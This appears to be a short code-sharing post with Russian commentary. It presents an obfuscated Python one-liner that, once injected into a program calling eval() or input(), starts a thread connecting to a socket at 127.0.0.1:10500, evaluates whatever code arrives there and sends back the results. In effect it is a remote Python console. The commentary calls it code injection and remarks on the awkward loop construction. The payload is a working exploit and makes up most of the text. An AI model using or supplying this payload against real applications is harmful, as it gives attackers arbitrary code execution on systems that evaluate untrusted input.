- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.